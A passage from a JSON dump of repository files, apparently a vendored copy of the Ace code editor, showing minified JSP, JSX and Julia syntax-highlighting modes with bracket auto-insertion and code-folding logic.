l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/jsp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jsp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jsp_highlight_rules\").JspHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.$id=\"ace/mode/jsp\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-jsx.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/jsx_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){var e=i.arrayToMap(\"break|do|instanceof|typeof|case|else|new|var|catch|finally|return|void|continue|for|switch|default|while|function|this|if|throw|delete|in|try|class|extends|super|import|from|into|implements|interface|static|mixin|override|abstract|final|number|int|string|boolean|variant|log|assert\".split(\"|\")),t=i.arrayToMap(\"null|true|false|NaN|Infinity|__FILE__|__LINE__|undefined\".split(\"|\")),n=i.arrayToMap(\"debugger|with|const|export|let|private|public|yield|protected|extern|native|as|operator|__fake__|__readonly__\".split(\"|\")),r=\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},s.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:[\"storage.type\",\"text\",\"entity.name.function\"],regex:\"(function)(\\\\s+)(\"+r+\")\"},{token:function(r){return r==\"this\"?\"variable.language\":r==\"function\"?\"storage.type\":e.hasOwnProperty(r)||n.hasOwnProperty(r)?\"keyword\":t.hasOwnProperty(r)?\"constant.language\":/^_?[A-Z][a-zA-Z0-9_]*$/.test(r)?\"language.support.class\":\"identifier\"},regex:r},{token:\"keyword.operator\",regex:\"!|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({<]\"},{token:\"paren.rparen\",regex:\"[\\\\])}>]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")])};r.inherits(u,o),t.JsxHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/jsx\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jsx_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";function f(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a}var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jsx_highlight_rules\").JsxHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode;r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/jsx\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-julia.js",
    "content": "ace.define(\"ace/mode/julia_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#function_decl\"},{include:\"#function_call\"},{include:\"#type_decl\"},{include:\"#keyword\"},{include:\"#operator\"},{include:\"#number\"},{include:\"#string\"},{include:\"#comment\"}],\"#bracket\":[{token:\"keyword.bracket.julia\",regex:\"\\\\(|\\\\)|\\\\[|\\\\]|\\\\{|\\\\}|,\"}],\"#comment\":[{token:[\"punctuation.definition.comment.julia\",\"comment.line.number-sign.julia\"],regex:\"(#)(?!\\\\{)(.*$)\"}],\"#function_call\":[{token:[\"support.function.julia\",\"text\"],regex:\"([a-zA-Z0-9_]+!?)([\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]*\\\\()\"}],\"#function_decl\":[{token:[\"keyword.other.julia\",\"meta.function.julia\",\"entity.name.function.julia\",\"meta.function.julia\",\"text\"],regex:\"(function|macro)(\\\\s*)([a-zA-Z0-9_\\\\{]+!?)([\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]*)([(\\\\\\\\{])\"}],\"#keyword\":[{token:\"keyword.other.julia\",regex:\"\\\\b(?:function|type|immutable|macro|quote|abstract|bitstype|typealias|module|baremodule|new)\\\\b\"},{token:\"keyword.control.julia\",regex:\"\\\\b(?:if|else|elseif|while|for|in|begin|let|end|do|try|catch|finally|return|break|continue)\\\\b\"},{token:\"storage.modifier.variable.julia\",regex:\"\\\\b(?:global|local|const|export|import|importall|using)\\\\b\"},{token:\"variable.macro.julia\",regex:\"@[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+\\\\b\"}],\"#number\":[{token:\"constant.numeric.julia\",regex:\"\\\\b0(?:x|X)[0-9a-fA-F]*|(?:\\\\b[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]*)?(?:im)?|\\\\bInf(?:32)?\\\\b|\\\\bNaN(?:32)?\\\\b|\\\\btrue\\\\b|\\\\bfalse\\\\b\"}],\"#operator\":[{token:\"keyword.operator.update.julia\",regex:\"=|:=|\\\\+=|-=|\\\\*=|/=|//=|\\\\.//=|\\\\.\\\\*=|\\\\\\\\=|\\\\.\\\\\\\\=|^=|\\\\.^=|%=|\\\\|=|&=|\\\\$=|<<=|>>=\"},{token:\"keyword.operator.ternary.julia\",regex:\"\\\\?|:\"},{token:\"keyword.operator.boolean.julia\",regex:\"\\\\|\\\\||&&|!\"},{token:\"keyword.operator.arrow.julia\",regex:\"->|<-|-->\"},{token:\"keyword.operator.relation.julia\",regex:\">|<|>=|<=|==|!=|\\\\.>|\\\\.<|\\\\.>=|\\\\.>=|\\\\.==|\\\\.!=|\\\\.=|\\\\.!|<:|:>\"},{token:\"keyword.operator.range.julia\",regex:\":\"},{token:\"keyword.operator.shift.julia\",regex:\"<<|>>\"},{token:\"keyword.operator.bitwise.julia\",regex:\"\\\\||\\\\&|~\"},{token:\"keyword.operator.arithmetic.julia\",regex:\"\\\\+|-|\\\\*|\\\\.\\\\*|/|\\\\./|//|\\\\.//|%|\\\\.%|\\\\\\\\|\\\\.\\\\\\\\|\\\\^|\\\\.\\\\^\"},{token:\"keyword.operator.isa.julia\",regex:\"::\"},{token:\"keyword.operator.dots.julia\",regex:\"\\\\.(?=[a-zA-Z])|\\\\.\\\\.+\"},{token:\"keyword.operator.interpolation.julia\",regex:\"\\\\$#?(?=.)\"},{token:[\"variable\",\"keyword.operator.transposed-variable.julia\"],regex:\"([\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+)((?:'|\\\\.')*\\\\.?')\"},{token:\"text\",regex:\"\\\\[|\\\\(\"},{token:[\"text\",\"keyword.operator.transposed-matrix.julia\"],regex:\"([\\\\]\\\\)])((?:'|\\\\.')*\\\\.?')\"}],\"#string\":[{token:\"punctuation.definition.string.begin.julia\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.julia\",regex:\"'\",next:\"pop\"},{include:\"#string_escaped_char\"},{defaultToken:\"string.quoted.single.julia\"}]},{token:\"punctuation.definition.string.begin.julia\",regex:'\"',push:[{token:\"punctuation.definition.string.end.julia\",regex:'\"',next:\"pop\"},{include:\"#string_escaped_char\"},{defaultToken:\"string.quoted.double.julia\"}]},{token:\"punctuation.definition.string.begin.julia\",regex:'\\\\b[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+\"',push:[{token:\"punctuation.definition.string.end.julia\",regex:'\"[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]*',next:\"pop\"},{include:\"#string_custom_escaped_char\"},{defaultToken:\"string.quoted.custom-double.julia\"}]},{token:\"punctuation.definition.string.begin.julia\",regex:\"`\",push:[{token:\"punctuation.definition.string.end.julia\",regex:\"`\",next:\"pop\"},{include:\"#string_escaped_char\"},{defaultToken:\"string.quoted.backtick.julia\"}]}],\"#string_custom_escaped_char\":[{token:\"constant.character.escape.julia\",regex:'\\\\\\\\\"'}],\"#string_escaped_char\":[{token:\"constant.character.escape.julia\",regex:\"\\\\\\\\(?:\\\\\\\\|[0-3]\\\\d{,2}|[4-7]\\\\d?|x[a-fA-F0-9]{,2}|u[a-fA-F0-9]{,4}|U[a-fA-F0-9]{,8}|.)\"}],\"#type_decl\":[{token:[\"keyword.control.type.julia\",\"meta.type.julia\",\"entity.name.type.julia\",\"entity.other.inherited-class.julia\",\"punctuation.separator.inheritance.julia\",\"entity.other.inherited-class.julia\"],regex:\"(type|immutable)(\\\\s+)([a-zA-Z0-9_]+)(?:(\\\\s*)(<:)(\\\\s*[.a-zA-Z0-9_:]+))?\"},{token:[\"other.typed-variable.julia\",\"support.type.julia\"],regex:\"([a-zA-Z0-9_]+)(::[a-zA-Z0-9_{}]+)\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"jl\"],firstLineMatch:\"^#!.*\\\\bjulia\\\\s*$\",foldingStartMarker:\"^\\\\s*(?:if|while|for|begin|function|macro|module|baremodule|type|immutable|let)\\\\b(?!.*\\\\bend\\\\b).*$\",foldingStopMarker:\"